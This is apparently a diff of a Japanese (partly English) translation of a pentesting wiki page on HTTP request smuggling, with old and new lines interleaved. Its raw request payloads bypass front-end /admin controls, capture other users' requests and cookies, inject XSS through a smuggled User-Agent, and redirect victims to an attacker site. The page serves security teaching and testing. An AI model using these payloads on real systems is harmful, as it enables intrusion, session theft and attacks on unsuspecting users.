- リクエストのわずかに異なるバージョンを送信し、サーバーの応答が予期しない方法で異なるかどうかを観察し、解析の不一致を示します。
|
||||
- **自動化ツールの使用:**
|
||||
- Burp Suiteの「HTTP Request Smuggler」拡張機能のようなツールは、さまざまな曖昧なリクエストを送信し、応答を分析することでこれらの脆弱性を自動的にテストできます。
|
||||
- **Content-Lengthの変動テスト:**
|
||||
- 実際のコンテンツ長と一致しないさまざまな`Content-Length`値を持つリクエストを送信し、サーバーがその不一致をどのように処理するかを観察します。
|
||||
- **Transfer-Encodingの変動テスト:**
|
||||
- Obfuscatedまたは不正な`Transfer-Encoding`ヘッダーを持つリクエストを送信し、フロントエンドとバックエンドサーバーがそのような操作にどのように異なる応答を示すかを監視します。
|
||||
- **Differential Response Analysis:**
|
||||
- わずかに異なるバージョンのリクエストを送り、サーバの応答が予期せぬ形で異なるかどうかを観察します。これによりパーサの差異が示唆されます。
|
||||
- **Using Automated Tools:**
|
||||
- Burp Suite の 'HTTP Request Smuggler' 拡張などのツールは、さまざまな曖昧なリクエストを自動で送信して応答を解析することで、これらの脆弱性を自動的にテストできます。
|
||||
- **Content-Length Variance Tests:**
|
||||
- 実際のコンテンツ長と一致しない様々な `Content-Length` 値を持つリクエストを送信し、サーバがこうした不一致をどのように処理するかを観察します。
|
||||
- **Transfer-Encoding Variance Tests:**
|
||||
- `Transfer-Encoding` ヘッダを難読化したり不正な形式にして送信し、フロントエンドとバックエンドがどのように異なる反応をするかを監視します。
|
||||
|
||||
### HTTPリクエストスムージング脆弱性テスト
|
||||
### HTTP Request Smuggling 脆弱性のテスト
|
||||
|
||||
タイミング技術の効果を確認した後、クライアントリクエストを操作できるかどうかを検証することが重要です。簡単な方法は、リクエストを毒することを試みることです。たとえば、`/`へのリクエストが404応答を返すようにします。前述の`CL.TE`および`TE.CL`の例は、クライアントが異なるリソースにアクセスしようとしているにもかかわらず、404応答を引き出すためにクライアントのリクエストを毒する方法を示しています。
|
||||
タイミング手法の有効性を確認した後は、クライアントからのリクエストが操作可能かどうかを検証することが重要です。単純な方法としては、リクエストを汚染して `/` へのリクエストが 404 を返すように試みることです。前述の `CL.TE` と `TE.CL` の例は、クライアントが別のリソースにアクセスしようとしていてもクライアント側のリクエストを汚染して 404 を引き出す方法を示しています([Basic Examples](#basic-examples) を参照)。
|
||||
|
||||
**重要な考慮事項**
|
||||
**重要な考慮点**
|
||||
|
||||
他のリクエストに干渉してリクエストスムージングの脆弱性をテストする際には、以下に留意してください:
|
||||
他のリクエストに干渉して request smuggling をテストする際は、次の点に留意してください:
|
||||
|
||||
- **異なるネットワーク接続:** 「攻撃」と「通常」のリクエストは、別々のネットワーク接続を介して送信する必要があります。両方のリクエストに同じ接続を使用することは、脆弱性の存在を検証しません。
|
||||
- **一貫したURLとパラメータ:** 両方のリクエストに対して同一のURLとパラメータ名を使用することを目指してください。現代のアプリケーションは、URLとパラメータに基づいてリクエストを特定のバックエンドサーバーにルーティングすることがよくあります。これらを一致させることで、両方のリクエストが同じサーバーによって処理される可能性が高まります。これは成功する攻撃の前提条件です。
|
||||
- **タイミングとレース条件:** 「通常」のリクエストは、「攻撃」リクエストからの干渉を検出するために、他の同時アプリケーションリクエストと競合します。したがって、「攻撃」リクエストの直後に「通常」リクエストを送信してください。忙しいアプリケーションでは、決定的な脆弱性確認のために複数の試行が必要になる場合があります。
|
||||
- **負荷分散の課題:** 負荷バランサーとして機能するフロントエンドサーバーは、リクエストをさまざまなバックエンドシステムに分配することがあります。「攻撃」と「通常」のリクエストが異なるシステムに到達した場合、攻撃は成功しません。この負荷分散の側面は、脆弱性を確認するためにいくつかの試行を必要とする場合があります。
|
||||
- **意図しないユーザーへの影響:** あなたの攻撃が他のユーザーのリクエスト(検出のために送信した「通常」のリクエストではない)に偶然影響を与える場合、これはあなたの攻撃が他のアプリケーションユーザーに影響を与えたことを示します。継続的なテストは他のユーザーを混乱させる可能性があるため、慎重なアプローチが求められます。
|
||||
- **Distinct Network Connections:** 「攻撃」リクエストと「通常」リクエストは別々のネットワーク接続で送信するべきです。両方を同じ接続で送ると、脆弱性の存在は検証されません。
|
||||
- **Consistent URL and Parameters:** 両方のリクエストで同一の URL とパラメータ名を使用することを目指してください。現代のアプリケーションは URL やパラメータに基づいて特定のバックエンドサーバへルーティングすることが多く、これらを一致させることで両リクエストが同じサーバで処理される可能性が高まり、攻撃成功の前提条件を満たします。
|
||||
- **Timing and Racing Conditions:** 検出用の「通常」リクエストは、「攻撃」リクエストによる干渉を検出するために競合します。したがって、「攻撃」リクエストの直後に「通常」リクエストを送信してください。負荷の高いアプリケーションでは結論を出すために複数回の試行が必要になる場合があります。
|
||||
- **Load Balancing Challenges:** フロントエンドサーバがロードバランサとして動作している場合、リクエストは異なるバックエンドシステムに分散される可能性があります。「攻撃」と「通常」のリクエストが異なるシステムに割り当てられると攻撃は成功しません。このロードバランシングの影響により、脆弱性確認のために何度か試行する必要が出てくることがあります。
|
||||
- **Unintended User Impact:** 攻撃が他のユーザのリクエスト(あなたが検出用に送った「通常」リクエストではないもの)に影響を与えた場合、それはあなたの攻撃が別のアプリケーションユーザに影響を及ぼしたことを示しています。継続的なテストは他のユーザを妨害する可能性があるため、慎重に行ってください。
|
||||
|
||||
## HTTP/1.1パイプライニングのアーティファクトと本物のリクエストスムージングの区別
|
||||
## HTTP/1.1 pipelining のアーティファクトと真の request smuggling を区別する
|
||||
|
||||
接続の再利用(keep-alive)とパイプライニングは、同じソケットで複数のリクエストを送信するテストツールで「スムージング」の錯覚を生じさせることがあります。無害なクライアント側のアーティファクトと実際のサーバー側のデシンクを区別する方法を学びましょう。
|
||||
Connection reuse (keep-alive) と pipelining は、同じソケット上で複数のリクエストを送るテストツールで「smuggling の幻影」を簡単に生じさせます。クライアント側の無害なアーティファクトを、サーバ側の真のデシンク(desync)と区別する方法を学んでください。
|
||||
|
||||
### なぜパイプライニングが古典的な偽陽性を生むのか
|
||||
### なぜ pipelining が古典的な false positive を生むのか
|
||||
|
||||
HTTP/1.1は単一のTCP/TLS接続を再利用し、同じストリームでリクエストと応答を連結します。パイプライニングでは、クライアントが複数のリクエストを連続して送信し、順序通りの応答を期待します。一般的な偽陽性は、単一の接続で不正なCL.0スタイルのペイロードを2回再送信することです。
|
||||
HTTP/1.1 は単一の TCP/TLS 接続を再利用して、同一ストリーム上でリクエストとレスポンスを連結します。パイプライニングでは、クライアントが複数のリクエストを立て続けに送り、順序通りのレスポンスを期待します。一般的な false-positive の例としては、単一の接続上で不正な CL.0 スタイルのペイロードを二度再送することがあります:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: hackxor.net
|
||||
@ -292,7 +294,7 @@ Content_Length: 47
|
||||
GET /robots.txt HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
応答は次のようになります:
|
||||
レスポンスは次のようになります:
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
@ -306,7 +308,7 @@ Content-Type: text/plain
|
||||
User-agent: *
|
||||
Disallow: /settings
|
||||
```
|
||||
サーバーが不正な `Content_Length` を無視した場合、FE↔BE のデシンクはありません。再利用により、クライアントは実際にこのバイトストリームを送信し、サーバーはこれを2つの独立したリクエストとして解析しました:
|
||||
サーバが不正な `Content_Length` を無視した場合、FE↔BE desync は発生しません。接続を再利用すると、クライアントは実際に次のバイトストリームを送信し、サーバはそれを2つの独立したリクエストとして解析しました:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: hackxor.net
|
||||
@ -320,78 +322,77 @@ Content_Length: 47
|
||||
GET /robots.txt HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
Impact: なし。クライアントがサーバーフレーミングからデシンクしただけです。
|
||||
|
||||
Impact: none. You just desynced your client from the server framing.
|
||||
> [!TIP]
|
||||
> 再利用/パイプラインに依存するBurpモジュール: Turbo Intruder `requestsPerConnection>1`、Intruder "HTTP/1接続再利用"、Repeater "グループを順番に送信(単一接続)"または"接続再利用を有効にする"。
|
||||
> Burp modules that depend on reuse/pipelining: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
|
||||
|
||||
### リトマステスト: パイプラインまたは実際のデシンク?
|
||||
### Litmus tests: pipelining or real desync?
|
||||
|
||||
1. 再利用を無効にして再テスト
|
||||
- Burp Intruder/RepeaterでHTTP/1再利用をオフにし、"グループを順番に送信"を避ける。
|
||||
- Turbo Intruderで`requestsPerConnection=1`に設定し、`pipeline=False`にする。
|
||||
- 挙動が消える場合、クライアント側のパイプラインである可能性が高い。ただし、接続ロック/状態を持つターゲットやクライアント側のデシンクを扱っている場合は除く。
|
||||
2. HTTP/2ネストされたレスポンスチェック
|
||||
- HTTP/2リクエストを送信する。レスポンスボディに完全なネストされたHTTP/1レスポンスが含まれている場合、純粋なクライアントアーティファクトではなく、バックエンドの解析/デシンクバグを証明したことになります。
|
||||
3. 接続ロックされたフロントエンドのための部分リクエストプローブ
|
||||
- 一部のフロントエンドは、クライアントが再利用した場合にのみ上流のバックエンド接続を再利用します。部分リクエストを使用して、クライアントの再利用を反映するフロントエンドの挙動を検出します。
|
||||
- 接続ロック技術については、PortSwiggerの"Browser‑Powered Desync Attacks"を参照してください。
|
||||
4. 状態プローブ
|
||||
- 同じTCP接続での最初のリクエストとその後のリクエストの違いを探します(最初のリクエストのルーティング/検証)。
|
||||
- Burp "HTTP Request Smuggler"には、これを自動化する接続状態プローブが含まれています。
|
||||
5. ワイヤを可視化する
|
||||
- Burp "HTTP Hacker"拡張機能を使用して、再利用や部分リクエストを実験しながら、連結とメッセージフレーミングを直接検査します。
|
||||
1. Disable reuse and re-test
|
||||
- Burp Intruder/Repeater では HTTP/1 reuse をオフにし、"Send group in sequence" を避けます。
|
||||
- Turbo Intruder では `requestsPerConnection=1` と `pipeline=False` を設定します。
|
||||
- 挙動が消える場合、それはおそらく client-side pipelining によるものです。ただし connection-locked/stateful targets や client-side desync を扱っている可能性がある点には注意してください。
|
||||
2. HTTP/2 nested-response check
|
||||
- HTTP/2 リクエストを送信します。レスポンスボディに完全なネストされた HTTP/1 レスポンスが含まれていれば、純粋なクライアント副産物ではなくバックエンドのパーシング/desync バグがあることが証明されます。
|
||||
3. Partial-requests probe for connection-locked front-ends
|
||||
- 一部の FE はクライアントが接続を再利用した場合にのみ upstream BE 接続を再利用します。partial-requests を使って、クライアント再利用を反映する FE の挙動を検出してください。
|
||||
- connection-locked 手法については PortSwigger の "Browser‑Powered Desync Attacks" を参照してください。
|
||||
4. State probes
|
||||
- 同一 TCP 接続上での最初のリクエストとそれ以降のリクエストの差(first-request routing/validation)を確認します。
|
||||
- Burp の "HTTP Request Smuggler" にはこの接続状態プローブを自動化する機能が含まれています。
|
||||
5. Visualize the wire
|
||||
- Burp の "HTTP Hacker" extension を使い、reuse や partial requests を試しながら連結やメッセージフレーミングを直接検査します。
|
||||
|
||||
### 接続ロックされたリクエストスムグリング(再利用が必要)
|
||||
### Connection‑locked request smuggling (reuse-required)
|
||||
|
||||
一部のフロントエンドは、クライアントが再利用した場合にのみ上流接続を再利用します。実際のスムグリングは存在しますが、クライアント側の再利用に条件付けられています。影響を区別し証明するために:
|
||||
Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:
|
||||
- サーバー側のバグを証明する
|
||||
- HTTP/2ネストされたレスポンスチェックを使用する、または
|
||||
- 部分リクエストを使用して、クライアントが再利用したときにのみ上流を再利用することを示す。
|
||||
- 直接的なクロスユーザーソケットの悪用がブロックされていても、実際の影響を示す:
|
||||
- キャッシュポイズニング: デシンクを介して共有キャッシュを汚染し、レスポンスが他のユーザーに影響を与える。
|
||||
- 内部ヘッダーの開示: フロントエンドが注入したヘッダー(例:認証/信頼ヘッダー)を反映し、認証バイパスにピボットする。
|
||||
- フロントエンドの制御をバイパスする: 制限されたパス/メソッドをフロントエンドを通過させる。
|
||||
- ホストヘッダーの悪用: ホストルーティングの特異性と組み合わせて内部vhostsにピボットする。
|
||||
- オペレーターのワークフロー
|
||||
- 制御された再利用で再現する(Turbo Intruder `requestsPerConnection=2`、またはBurp Repeaterタブグループ→"グループを順番に送信(単一接続)")。
|
||||
- その後、キャッシュ/ヘッダー漏洩/制御バイパスのプリミティブにチェーンし、クロスユーザーまたは認証の影響を示す。
|
||||
- HTTP/2 nested-response check を使う、または
|
||||
- partial-requests を使って FE がクライアントが再利用した場合にのみ upstream を再利用することを示す
|
||||
- たとえ直接のクロスユーザーソケット濫用がブロックされていても実害を示す:
|
||||
- Cache poisoning: desync を利用して共有キャッシュを汚染し、他のユーザーに影響を与えるレスポンスを生成する
|
||||
- Internal header disclosure: FE が挿入したヘッダ(例: auth/trust headers)を反映させて auth bypass に繋げる
|
||||
- Bypass FE controls: 制限されたパスやメソッドを front-end を通過させる
|
||||
- Host-header abuse: host ルーティングの奇異と組み合わせて内部 vhost にピボットする
|
||||
- Operator workflow
|
||||
- 制御下での再利用を再現する(Turbo Intruder `requestsPerConnection=2`、または Burp Repeater のタブグループ → "Send group in sequence (single connection)")。
|
||||
- その後、cache/header-leak/control-bypass のプリミティブにチェーンし、クロスユーザーまたは認可への影響を実証する。
|
||||
|
||||
> 接続状態攻撃も参照してください。これは密接に関連していますが、技術的にはスムグリングではありません:
|
||||
> See also connection‑state attacks, which are closely related but not technically smuggling:
|
||||
>
|
||||
>{{#ref}}
|
||||
>../http-connection-request-smuggling.md
|
||||
>{{#endref}}
|
||||
|
||||
### クライアント側デシンクの制約
|
||||
### Client‑side desync constraints
|
||||
|
||||
ブラウザ駆動/クライアント側デシンクをターゲットにしている場合、悪意のあるリクエストはブラウザからクロスオリジンで送信可能でなければなりません。ヘッダーの難読化トリックは機能しません。ナビゲーション/フェッチを介して到達可能なプリミティブに焦点を当て、その後キャッシュポイズニング、ヘッダー開示、またはフロントエンド制御のバイパスにピボットします。下流コンポーネントがレスポンスを反映またはキャッシュする場合。
|
||||
browser-powered/client-side desync を狙う場合、悪意あるリクエストはブラウザからクロスオリジンで送信可能でなければなりません。Header obfuscation のトリックは通用しません。navigation/fetch 経由で到達可能なプリミティブに注力し、その後 downstream コンポーネントがレスポンスを反映またはキャッシュする箇所へ pivot して、cache poisoning、header disclosure、front-end control bypass などを狙います。
|
||||
|
||||
背景とエンドツーエンドのワークフローについては:
|
||||
For background and end-to-end workflows:
|
||||
|
||||
{{#ref}}
|
||||
browser-http-request-smuggling.md
|
||||
{{#endref}}
|
||||
|
||||
### 決定を助けるツール
|
||||
### Tooling to help decide
|
||||
|
||||
- HTTP Hacker (Burp BApp Store): 低レベルのHTTP動作とソケットの連結を公開します。
|
||||
- "スムグリングまたはパイプライン?" Burp Repeaterカスタムアクション: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
|
||||
- Turbo Intruder: `requestsPerConnection`を介して接続再利用を正確に制御します。
|
||||
- Burp HTTP Request Smuggler: 最初のリクエストのルーティング/検証を見つけるための接続状態プローブを含みます。
|
||||
- HTTP Hacker (Burp BApp Store): 低レベルの HTTP 挙動やソケット連結を可視化します。
|
||||
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
|
||||
- Turbo Intruder: `requestsPerConnection` による接続再利用の精密な制御が可能です。
|
||||
- Burp HTTP Request Smuggler: first-request routing/validation を検出する接続状態プローブを含みます。
|
||||
|
||||
> [!NOTE]
|
||||
> サーバー側のデシンクを証明し、具体的な影響(汚染されたキャッシュアーティファクト、特権バイパスを可能にする内部ヘッダーの漏洩、バイパスされたフロントエンド制御など)を付加できない限り、再利用のみの影響を非問題として扱います。
|
||||
> 再利用のみで発生する効果は、サーバー側 desync を証明し、具体的な影響(poisoned cache artifact、leaked internal header による権限回避、FE 制御のバイパス等)を示せない限り、重大な問題とは見なさないでください。
|
||||
|
||||
## HTTPリクエストスムグリングの悪用
|
||||
## Abusing HTTP Request Smuggling
|
||||
|
||||
### HTTPリクエストスムグリングを介したフロントエンドセキュリティの回避
|
||||
### Circumventing Front-End Security via HTTP Request Smuggling
|
||||
|
||||
時には、フロントエンドプロキシがセキュリティ対策を強化し、受信リクエストを精査します。しかし、これらの対策はHTTPリクエストスムグリングを利用することで回避でき、制限されたエンドポイントへの不正アクセスを可能にします。たとえば、`/admin`へのアクセスは外部から禁止されているかもしれませんが、フロントエンドプロキシはそのような試みを積極的にブロックしています。それにもかかわらず、このプロキシはスムグリングされたHTTPリクエスト内の埋め込まれたリクエストを検査しない可能性があり、これによりこれらの制限を回避するための抜け穴が残ります。
|
||||
時折、front-end proxy は受信リクエストに対してセキュリティ対策を強制しており、特定のリクエストを厳密に検査します。しかし、HTTP Request Smuggling を悪用すると、これらの対策を回避して制限されたエンドポイントに不正アクセスできる場合があります。例えば、外部から `/admin` へのアクセスが禁止され、front-end proxy によって積極的にブロックされている場合でも、この proxy が smuggled な HTTP リクエスト内の埋め込みリクエストを検査しない可能性があり、制限回避の抜け穴になります。
|
||||
|
||||
以下は、HTTPリクエストスムグリングがフロントエンドセキュリティ制御を回避するためにどのように使用されるかを示す例です。特に、通常フロントエンドプロキシによって保護されている`/admin`パスをターゲットにしています:
|
||||
以下は、front-end セキュリティ制御(典型的には front-end proxy によって保護されている `/admin` パスをターゲットにする例)を回避するために HTTP Request Smuggling を利用する方法を示す例です:
|
||||
|
||||
**CL.TEの例**
|
||||
**CL.TE Example**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: [redacted].web-security-academy.net
|
||||
@ -408,9 +409,9 @@ Content-Length: 10
|
||||
|
||||
x=
|
||||
```
|
||||
CL.TE攻撃では、最初のリクエストに`Content-Length`ヘッダーが利用され、次の埋め込まれたリクエストは`Transfer-Encoding: chunked`ヘッダーを使用します。フロントエンドプロキシは最初の`POST`リクエストを処理しますが、埋め込まれた`GET /admin`リクエストを検査しないため、`/admin`パスへの不正アクセスが可能になります。
|
||||
CL.TE攻撃では、`Content-Length` ヘッダーが最初のリクエストで利用され、続く埋め込まれたリクエストは `Transfer-Encoding: chunked` ヘッダーを使用します。フロントエンドのプロキシは最初の `POST` リクエストを処理しますが、埋め込まれた `GET /admin` リクエストを検査できないため、`/admin` パスへの不正アクセスが可能になります。
|
||||
|
||||
**TE.CLの例**
|
||||
**TE.CL 例**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: [redacted].web-security-academy.net
|
||||
@ -426,13 +427,13 @@ a=x
|
||||
0
|
||||
|
||||
```
|
||||
逆に、TE.CL攻撃では、最初の`POST`リクエストが`Transfer-Encoding: chunked`を使用し、その後の埋め込まれたリクエストは`Content-Length`ヘッダーに基づいて処理されます。CL.TE攻撃と同様に、フロントエンドプロキシは密輸された`GET /admin`リクエストを見落とし、意図せずに制限された`/admin`パスへのアクセスを許可します。
|
||||
Conversely, in the TE.CL attack, the initial `POST` request uses `Transfer-Encoding: chunked`, and the subsequent embedded request is processed based on the `Content-Length` header. Similar to the CL.TE attack, the front-end proxy overlooks the smuggled `GET /admin` request, inadvertently granting access to the restricted `/admin` path.
|
||||
|
||||
### フロントエンドリクエストの書き換えを明らかにする <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
### Revealing front-end request rewriting <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
アプリケーションは、通常、**フロントエンドサーバー**を使用して、バックエンドサーバーに渡す前に受信リクエストを変更します。典型的な変更には、クライアントのIPをバックエンドに中継するために`X-Forwarded-For: <IP of the client>`のようなヘッダーを追加することが含まれます。これらの変更を理解することは重要であり、**保護を回避する方法**や**隠された情報やエンドポイントを明らかにする方法**を示す可能性があります。
|
||||
アプリケーションはしばしば、受信したリクエストをback-end serverに渡す前に変更するために**front-end server**を使用します。典型的な変更は、クライアントのIPをback-endに伝えるために`X-Forwarded-For: <IP of the client>`のようなヘッダを追加することです。これらの変更を理解することは重要で、**保護を回避する**や**隠された情報やエンドポイントを発見する**方法を明らかにする可能性があります。
|
||||
|
||||
プロキシがリクエストをどのように変更するかを調査するには、バックエンドがレスポンスでエコーするPOSTパラメータを見つけます。次に、このパラメータを最後に使用してリクエストを作成します。以下のように:
|
||||
プロキシがリクエストをどのように変更するか調べるには、back-endがレスポンスでエコーするPOSTパラメータを見つけます。次に、このパラメータを最後に使う形で、次のようなリクエストを作成します:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
@ -449,19 +450,19 @@ Content-Length: 100
|
||||
|
||||
search=
|
||||
```
|
||||
この構造では、後続のリクエストコンポーネントが `search=` の後に追加され、これはレスポンスに反映されるパラメータです。この反映により、後続のリクエストのヘッダーが露出します。
|
||||
この構造では、後続のリクエスト構成要素が `search=` の後に追加されます。これはレスポンスに反映されるパラメータであり、この反映により後続リクエストのヘッダが露出します。
|
||||
|
||||
ネストされたリクエストの `Content-Length` ヘッダーを実際のコンテンツ長に合わせることが重要です。小さな値から始めて徐々に増加させることが推奨されます。値が低すぎると反映されたデータが切り捨てられ、高すぎるとリクエストがエラーになる可能性があります。
|
||||
ネストされたリクエストの `Content-Length` ヘッダを実際のコンテンツ長と合わせることが重要です。小さめの値から始めて徐々に増やすことを推奨します。値が小さすぎると反映されるデータが切り詰められ、大きすぎるとリクエストがエラーになる可能性があります。
|
||||
|
||||
この技術は TE.CL 脆弱性の文脈でも適用可能ですが、リクエストは `search=\r\n0` で終了する必要があります。改行文字に関係なく、値は検索パラメータに追加されます。
|
||||
この手法は TE.CL 脆弱性の文脈でも適用できますが、リクエストは `search=\r\n0` で終端する必要があります。改行文字に関係なく、値は `search` パラメータに追加されます。
|
||||
|
||||
この方法は、フロントエンドプロキシによって行われたリクエストの変更を理解するために主に使用され、基本的に自己主導の調査を行います。
|
||||
この方法は主にフロントエンドプロキシが行うリクエスト変更を理解するためのもので、実質的には自己調査を行うことになります。
|
||||
|
||||
### 他のユーザーのリクエストをキャプチャする <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
POST 操作中にパラメータの値として特定のリクエストを追加することで、次のユーザーのリクエストをキャプチャすることが可能です。これを実現する方法は次のとおりです:
|
||||
POST 操作中に、あるパラメータの値として特定のリクエストを追加することで、次のユーザーのリクエストをキャプチャすることが可能です。以下のように実行できます:
|
||||
|
||||
次のリクエストをパラメータの値として追加することで、後続のクライアントのリクエストを保存できます:
|
||||
以下のリクエストをパラメータの値として追加することで、続くクライアントのリクエストを保存できます:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
|
||||
@ -481,20 +482,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
|
||||
|
||||
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
|
||||
```
|
||||
このシナリオでは、**comment parameter**は公開アクセス可能なページの投稿コメントセクション内の内容を保存することを目的としています。その結果、次のリクエストの内容はコメントとして表示されます。
|
||||
In this scenario, the **comment parameter** is intended to store the contents within a post's comment section on a publicly accessible page. Consequently, the subsequent request's contents will appear as a comment.
|
||||
|
||||
しかし、この技術には制限があります。一般的に、これはスムグルされたリクエストで使用されるパラメータ区切り文字までのデータしかキャプチャしません。URLエンコードされたフォーム送信の場合、この区切り文字は`&`文字です。つまり、被害者ユーザーのリクエストからキャプチャされた内容は最初の`&`で止まり、これはクエリ文字列の一部である可能性もあります。
|
||||
However, this technique has limitations. Generally, it captures data only up to the parameter delimiter used in the smuggled request. For URL-encoded form submissions, this delimiter is the `&` character. This means the captured content from the victim user's request will stop at the first `&`, which may even be part of the query string.
|
||||
|
||||
さらに、このアプローチはTE.CL脆弱性でも有効であることに注意が必要です。その場合、リクエストは`search=\r\n0`で終了する必要があります。改行文字に関係なく、値は検索パラメータに追加されます。
|
||||
Additionally, it's worth noting that this approach is also viable with a TE.CL vulnerability. In such cases, the request should conclude with `search=\r\n0`. Regardless of newline characters, the values will be appended to the search parameter.
|
||||
|
||||
### HTTPリクエストスムグリングを使用して反射型XSSを悪用する
|
||||
### Using HTTP request smuggling to exploit reflected XSS
|
||||
|
||||
HTTP Request Smugglingは、**Reflected XSS**に脆弱なウェブページを悪用するために利用でき、重要な利点を提供します:
|
||||
HTTP Request Smuggling can be leveraged to exploit web pages vulnerable to **Reflected XSS**, offering significant advantages:
|
||||
|
||||
- 対象ユーザーとの**インタラクションは不要**です。
|
||||
- 通常は**アクセスできない**リクエストの一部、例えばHTTPリクエストヘッダーでXSSを悪用することができます。
|
||||
- Interaction with the target users is **not required**.
|
||||
- Allows the exploitation of XSS in parts of the request that are **normally unattainable**, like HTTP request headers.
|
||||
|
||||
ウェブサイトがUser-Agentヘッダーを通じて反射型XSSに対して脆弱な場合、以下のペイロードはこの脆弱性を悪用する方法を示しています:
|
||||
In scenarios where a website is susceptible to Reflected XSS through the User-Agent header, the following payload demonstrates how to exploit this vulnerability:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
||||
@ -515,36 +516,36 @@ Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
A=
|
||||
```
|
||||
このペイロードは、脆弱性を悪用するために構成されています:
|
||||
This payload is structured to exploit the vulnerability by:
|
||||
|
||||
1. `Transfer-Encoding: chunked` ヘッダーを持つ、見た目には典型的な `POST` リクエストを開始し、スムーグリングの開始を示します。
|
||||
2. 次に、チャンクメッセージボディの終わりを示す `0` が続きます。
|
||||
3. その後、スムーグルされた `GET` リクエストが導入され、`User-Agent` ヘッダーにスクリプト `<script>alert(1)</script>` が注入され、サーバーがこの後続のリクエストを処理する際に XSS がトリガーされます。
|
||||
1. Initiating a `POST` request, seemingly typical, with a `Transfer-Encoding: chunked` header to indicate the start of smuggling.
|
||||
2. Following with a `0`, marking the end of the chunked message body.
|
||||
3. Then, a smuggled `GET` request is introduced, where the `User-Agent` header is injected with a script, `<script>alert(1)</script>`, triggering the XSS when the server processes this subsequent request.
|
||||
|
||||
スムーグリングを通じて `User-Agent` を操作することで、ペイロードは通常のリクエスト制約を回避し、非標準だが効果的な方法で反射型 XSS 脆弱性を悪用します。
|
||||
By manipulating the `User-Agent` through smuggling, the payload bypasses normal request constraints, thus exploiting the Reflected XSS vulnerability in a non-standard but effective manner.
|
||||
|
||||
#### HTTP/0.9
|
||||
|
||||
> [!CAUTION]
|
||||
> ユーザーコンテンツが **`Content-type`** が **`text/plain`** のレスポンスに反映される場合、XSS の実行が防止されます。サーバーが **HTTP/0.9** をサポートしている場合、これを回避できる可能性があります!
|
||||
> ユーザーコンテンツが **`Content-type`** に **`text/plain`** のような値で反映される場合、XSS の実行が阻止されます。サーバーが **HTTP/0.9 をサポートしている場合、これをバイパスできる可能性があります**!
|
||||
|
||||
HTTP/0.9 バージョンは 1.0 の前のもので、**GET** 動詞のみを使用し、**ヘッダー** には応答せず、ボディのみを返します。
|
||||
The version HTTP/0.9 was previously to the 1.0 and only uses **GET** verbs and **doesn’t** respond with **headers**, just the body.
|
||||
|
||||
[**この書き込み**](https://mizu.re/post/twisty-python) では、リクエストスムーグリングと **ユーザーの入力に応じて応答する脆弱なエンドポイント** を利用して、HTTP/0.9 でリクエストをスムーグルしました。レスポンスに反映されるパラメータには **偽の HTTP/1.1 レスポンス(ヘッダーとボディを含む)** が含まれており、レスポンスには `Content-Type` が `text/html` の有効な実行可能な JS コードが含まれます。
|
||||
In [**this writeup**](https://mizu.re/post/twisty-python), this was abused with a request smuggling and a **vulnerable endpoint that will reply with the input of the user** to smuggle a request with HTTP/0.9. The parameter that will be reflected in the response contained a **fake HTTP/1.1 response (with headers and body)** so the response will contain valid executable JS code with a `Content-Type` of `text/html`.
|
||||
|
||||
### HTTP リクエストスムーグリングを用いたオンサイトリダイレクトの悪用 <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
### サイト内リダイレクトを HTTP Request Smuggling で悪用する <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
アプリケーションは、リダイレクト URL の `Host` ヘッダーからホスト名を使用して、ある URL から別の URL にリダイレクトすることがよくあります。これは、Apache や IIS のようなウェブサーバーで一般的です。たとえば、末尾にスラッシュがないフォルダーをリクエストすると、スラッシュを含めるようにリダイレクトされます:
|
||||
Applications often redirect from one URL to another by using the hostname from the `Host` header in the redirect URL. This is common with web servers like Apache and IIS. For instance, requesting a folder without a trailing slash results in a redirect to include the slash:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: normal-website.com
|
||||
```
|
||||
結果は次のとおりです:
|
||||
結果:
|
||||
```
|
||||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://normal-website.com/home/
|
||||
```
|
||||
この行動は一見無害に見えますが、HTTPリクエストスムーギングを使用してユーザーを外部サイトにリダイレクトするように操作できます。例えば:
|
||||
一見無害に見えるこの挙動は、HTTP request smuggling を用いてユーザーを外部サイトにリダイレクトするように悪用できます。例えば:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
@ -558,29 +559,29 @@ GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
Foo: X
|
||||
```
|
||||
このスムグルされたリクエストは、次に処理されるユーザーリクエストが攻撃者が制御するウェブサイトにリダイレクトされる原因となる可能性があります:
|
||||
この smuggled request は、次に処理されるユーザーのリクエストを攻撃者が制御するウェブサイトへリダイレクトさせる可能性があります:
